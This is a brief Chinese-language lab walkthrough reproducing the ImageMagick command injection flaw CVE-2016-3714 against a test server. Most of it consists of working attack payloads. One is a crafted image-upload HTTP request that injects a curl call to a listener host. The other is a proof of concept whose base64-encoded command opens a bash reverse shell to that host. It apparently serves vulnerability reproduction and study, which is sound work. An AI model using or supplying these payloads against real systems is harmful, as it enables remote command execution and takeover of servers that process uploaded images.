Imagemagick 命令注入漏洞 (CVE-2016–3714)

Imagemagick 命令注入漏洞 (CVE-2016–3714)

ImageMagick 是一个免费的开源跨平台软件套件,用于显示、创建、转换、修改和编辑光栅图像。

推荐人:

漏洞复现

访问http://192.168.44.132:8080/以查看上传组件。

发送以下请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: 192.168.44.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Length: 328

------WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Disposition: form-data; name="file_upload"; filename="1.gif"
Content-Type: image/png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "192.168.44.1:8889)'
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et--

可以看到192.168.44.1:8889已经收到http请求,curl命令执行成功后:

image-20210813161639851

获取反向shell的POC:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://192.168.44.132/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDQuMS84ODg5IDA+JjE= | base64 -d | bash`"||id " )'
pop graphic-context

image-20210813164511755

0%